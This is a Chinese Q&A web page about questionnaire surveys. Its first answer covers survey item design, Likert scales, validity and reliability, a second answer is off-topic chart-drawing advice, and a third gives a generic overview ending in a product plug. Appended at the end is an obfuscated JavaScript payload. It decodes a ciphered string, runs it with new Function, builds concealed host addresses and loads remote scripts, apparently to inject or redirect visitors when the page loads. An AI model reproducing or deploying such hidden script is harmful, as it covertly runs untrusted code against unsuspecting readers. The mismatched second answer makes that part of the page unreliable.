什么是问卷调查?

2025-03-13 15:52:33
推荐回答(3个)
回答1:

什么是问卷调查?
  问卷调查是社会调查的一种数据收集手段。当一个研究者想通过社会调查来研究一个现象时(比如什么因素影响顾客满意度),他可以用问卷调查收集数据,也可以用访谈或其它方式收集数据。问卷调查假定研究者已经确定所要问的问题。这些问题被打印在问卷上,编制成书面的问题表格,交由调查对象填写,然后收回整理分析,从而得出结论。
  从问卷调查的实际应用来看,可以分为学术性问卷调查或应用性问卷调查。前者多为学校或研究机构的研究人员所采用,后者则由市场调研人员或其它机构的人员所采用,来解决实际中的问题。
   问卷中要包括什么问题?
  问题多种多样。按答案看,问题的答案可以是开放式的(比如:你为什么喜欢这家商店?) 或封闭式的 (比如:你在多大程度上喜欢这家商店?请选择非常喜欢、有点喜欢、即不喜欢也不讨厌、有点讨厌、非常讨厌),可以是主观的 (比如:你们在广告上的投资大吗?请选择很大,比较大,中等,比较小,很小) 或客观的 (比如,你们去年在广告上投资了多少钱?),也可以是分类性的(比如:公司的行业类型,nominal) 或序列性(比如:很大,比较大,中等,比较小,很小) 或连续性的 (你们去年在广告上投资了多少钱?)。在心理计量中,比较常用的是主观的封闭式的问题。虽然这类问题往往是序列性的,在统计中往往被视作连续性。我们的讨论将以主观的封闭式的问题为主。我们假定社会调查是通过调查对象自助填表的方式 (self-administeredsurvey)进行的。在自助填表的社会调查中,调查对象主要在没有帮助的情况下独立回答调查问卷中的所有问题。
  一个问卷中要包括什么?编辑本段 一般地,一个问卷要包括三类的问题:理论模型中的变量、辅助变量、与人口统计学特征。以下我们逐一解释。
  显然,一个问卷必须首先包括理论模型中的所有变量。在行为研究中,这些变量往往是心理变量。一个心理变量是用三个或三个以上的测度问题 (measurement item) 来测量的。一个心理变量往往对应于一组、而不是单一的语义。我们把这样的心理变量叫作一个理论构件或构件 (construct)。这些相关的细化的语义往往被叫作这个心理变量的概念空间 (concept space)。用多个问题来测量这个概念,就是要从这个概念空间中选择合适的表达方式,使这些表达方式作为一个整体可以更好地反映一个不可以直接测量的心理变量。这些被使用的问题又叫作测度项 (measurement item)。相应地,它们的记分标准叫做刻度 (scale)。心理计量学中有两种常见的刻度:立克氏刻度 (Likert scale) 与语义对比刻度 (semantic differential scale)。前者往往用“同意/不同意”来表示对一个测度项的认可程度,而后者则让调查对象在一组反义词中选择合适的位置。比如,为了测量满意度,我们的立克氏刻度问题可能是:
  1. 这个产品的让我满意。问卷调查
   1. 非常不同意
   2. 有点不同意
   3. 既不反对也不同意
   4. 有点同意
   5. 非常同意
  第二类变量是人口统计特征(年龄、性别、种族、教育程度、省份、职业等)。这些变量在心理学研究中往往并不占据主要位置。它们可以用一个测试项来测定。而且,这些变量大多比较客观,报告误差不大。在一个问卷中包括这些变量的目的往往是为了检验一个样本是不是与群体有相似的组成,从而具有代表性。
  第三类变量是辅助变量。一类重要的辅助变量是控制变量 (control variables)。控制变量并不是理论模型中的主角。但是因为一个理论模型往往只从一个角度出发,所选变量有时不能有很好的充分性。这时,包括一些控制变量就可以用来表明即使另外一些重要的变量在场,所选的理论变量仍具有重要性,并表明理论变量具有有别于控制变量的额外作用。举例来讲,在组织中,如果我们的模型是信任度影响一个人向另一个人问取知识的频率,信任度是我们的理论变量。我们的控制变量可以包括私人友谊与业务上的相关性。这样,如果我们用统计方法先去除私人友谊与业务上的相关性对知识问取行为的影响后,我们还能够表明信任度可以解释这两个变量没法解释的知识问取行为,我们就可以更有力地表明信任度的作用。这样的控制变量虽然不是一个模型的主角,却是包括在统计分析中的。
   如何设计测度项的措词?编辑本段  测度项设计的基本目的是为了测量调查对象在一个理论变量上的真实值。所以,测度项的质量可以用几个标准来衡量:§ 一个测度项反映了理论变量吗?这个一个有效性标准。
  § 一个调查对象能否对一个测度项能做出可靠的回答?
  § 多个调查对象对一个测度项的理解是否一致?后两个问题是可靠性标准。
  测度项的措词会同时影响有效性与可靠性。简单而言,有效性 (validity) 指一个或一组测度项可以真实地测量一个理论构件。在方法学中,有效性往往被称作是构件有效性 (construct validity)。有效性的第一个要求是测度项在语义上是针对于一个理论构件。有效性是“问了该问的问题”。它首先要保证的是测度项语义内容上的正确性,或称为内容有效性 (content validity)。比如,研究者要测度消费者对一个产品的质量评价,有两个测度项:“这个产品的使用寿命如何? (很长—很短) ”,“您是还觉得这个产品是否值得买?(很不值得—很徝得) ”。第一个测度项反映了质量的一个方面:使用寿命(durability)。第二个反映的是产品的价值(product value)。产品价值在营销学中是一个与质量不一样的概念,它指的是质量与价格的综合考虑。所以第二个测度项虽然与产品质量有关系,却已经因为它的语义范围过大而不合适。
  可靠性 (reliability) 是“把该问的问题问好”,是一个测度项可以得到所有调查对象的真实可靠回答的程度,它的反面是测度值中偏差的程度。在这一节,我们先关注可靠性。可靠性是有效性的必要但不充分条件。可靠性与有效性不是平等概念。可靠性是有效性的一部分。有时,有效性也狭义地指不包括可靠性的那一部分。
  在调查对象回答一个测度项时,不准确的测度项措词会引入以下错误:
  § 调查对象缺少相关知识
  § 措词过于学术化、晦涩难懂
  § 测度项不完整
  § 语义不明确
  § 一个测度项内含有多重语义
  § 一个测度项内含有多个变量之间的关系
  第一,调查对象缺少相关知识。如果调查对象缺少一个测度项中所要求的知识,结果就会不可靠。这个“对牛弹琴”的错误罪在研究者。比如你如果问一个普通市民:您觉得本市进行转基因作物研究成功的可能性有多大?(非常小—非常大)。一个市民通常不会有这方面的知识。更多时候,一个调查对象没法回答一个问题是因为他没有相关的经历,比如在商场中进行抽样调查时,你可能会问一个根本不会用电脑的老人家:“您觉得通过网站购买日用品方便么?(非常方便—非常不方便)。
  第二,措词过于学术化、晦涩难懂。这是另一类“对牛弹琴”的错误。“您所在的项目小组的内聚性有多高?(非常低—非常高) ”。什么是“内聚性”(cohesion) ?除非有一个明确的定义写在问卷中,调查对象不会知道你在问什么。
  第三,测度项不完整。假定测度项是:你的年龄?如果年龄对这个研究很重要,这个问题就是不完整的。在国内,有人可能报虚岁,也有人报周岁。比较好的措词是:你的出生年分?
  第四,语义不明确。假定测度项是:过去一个月你向上司咨询过几次?这里有几个方面是不明确的。第一,哪些上司?是任何比你更高层的人还是你的直属上司?第二,怎样算是咨询?是询问工作中的问题还是生活中的问题?是面对面还是包括电话与电邮?一个更明确的测度项可能是:不管是以面对面还是电话或电邮的方式,过去一个月你向你的直属上司咨询过几次关于你工作中的问题?这个例子也说明测度项的准确性与简洁性往往是矛盾的。
  第五,测度项内含多个问题。假定测度项是:工作带给我很高的自信心与安全感(非常同意—非常不同意)。到底是自信心还是安全感?这种问题的一个特点是其中有“与”或“或”。如果研究者对这两个方面都感兴趣,就应该把这个问题分成两个来问。再假定测度项是:你每个月在这家商店购物超过50元的次数是多少?调查对象要进行两次计算:一次是一共去了几次,另一次是超过50元的次数。分开来问会更明确。再假定测度项是:公司领导对你们的项目支持的程度是:(很高—很低,不知道)。如果研究者预计有很多人会回答“不知道”,这个问题就应该拆分成两个:您对公司领导对这个项目的态度有没有了解?如果有,领导对你们的项目支持的程度是:(很高—很低)。
  第六,测度项内含有多个变量之间的关系。这是初学者很容易犯的一个错误。比如为了测试报酬与工作态度之间的因果关系,有人会为报酬设计这样的测度项“丰厚的报酬对于增加我的工作积极性十分重要,(非常不同意—非常同意) ”。 这样的问题在日常生活中十分普遍。但在研究中,为了验证报酬与工作态度之间的关系,我们必须把它们分开来测量。为什么呢?因为我们要验证的是报酬水平与工作态度的水平之间的关系,所以我们应该测量这两个水平的本身。在数据收集过程的本身,我们不能预先设定立场而应保持中立(但在提出假设时我们的确有一个立场)。而这种关于“重要性”的直接提问已经预先有了一个立场。这样一个预设的立场会产生几个问题。一,调查对象会沿着调查者的立场去回答,因而不反映他们的实际行为。二,这样的直接测试虽然可以测量到两个变量之间的关系水平,但反而无法在统计上支持这个关系水平的显著程度。假定刻度细度是7,即非常不同意=1,非常同意=7。如果得到的均值是5,这个值说明了什么呢?难道因为它大于中间点4就表明这两个变量之间有关系了吗?因为我们不知道在这两个变量真的没有因果关系时调查对象的均值是多少(也许是4,但也可能是4.5或3.6),我们无法在统计上有信心说5就表明有关系。相反,如果这两个变量分别测量,我们可以计算它们之间的统计上的相关系数,并进行显著度的检验 (比如t-test)。要注意的是,这种“重要性”并不是在所有的情况下都不可取。有时,研究者的变量就是关于重要性的感知水平,这时,这样的测度项是可以,比如:工作的稳定性会影响报酬对于工作态度的重要性。
  测度项的设计还以有其它多种多样的问题。以上所提到只是一些最典型的错误。关键是研究者要有对测度项质量的敏感性。 参考资料编辑本段网络

回答2:

(1)要根据绘图目的和统计资料本身的特性选取适合的图形。
(2)标示和说明要清晰。图里面画的变量是什么,单位是什么,以及资料来源,这些一定要在标示和说明里表示清楚。
(3)要让数据很醒目。一定要注意,抓住看图者注意力的是数据本身,而不是标示、格子,也不是背景的图样。你是在画一个呈现数据的图,不是在从事艺术创作,所以数据要很醒目。
(4)不要在图中加入不必要的东西(如物体图片、画像等),以免数据看不清楚。
(5)注意曲线图中的刻度。图给人的印象深刻,所以不小心的人很容易被误导。谨慎的人读曲线图时,会很仔细地看横轴和纵轴上标示的刻度,看看有没有被刻意拉大或压缩来制造特定效果。

回答3:

      

     问卷调查是一种研究方法,用于收集个人或群体的意见、态度、行为等信息。它通常包含一系列预先设计好的问题,这些问题可以是封闭式的(如选择题、是非题),也可以是开放式的(要求受访者自由作答)。问卷调查可以通过多种方式进行分发,包括纸质版、电子邮件、在线调查平台等。

问卷调查的目的多种多样,例如:


  • 市场调研:了解消费者对产品或服务的态度和偏好,帮助企业做出更好的市场决策。

  • 学术研究:在社会科学、医学等多个领域中,研究人员使用问卷来收集数据,支持他们的研究假设。

  • 社会调查:政府机构或非营利组织可能使用问卷来评估公众对特定议题的看法,或是了解某个社区的需求。

  • 教育评价:学校或教育机构通过问卷了解学生、家长或教师对于教育项目或政策的反馈。

设计良好的问卷调查能够有效地获取所需的信息,同时也要注意保护受访者的隐私和确保数据的准确性。在进行问卷调查时,应遵循伦理原则,比如获得受访者的同意、确保信息保密等。为了提高问卷调查的效率和质量,可以考虑使用专业的在线工具,如“表单大师”。它不仅提供了丰富的模板和定制选项,还支持数据分析,是进行高效问卷调查的理想选择。

!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();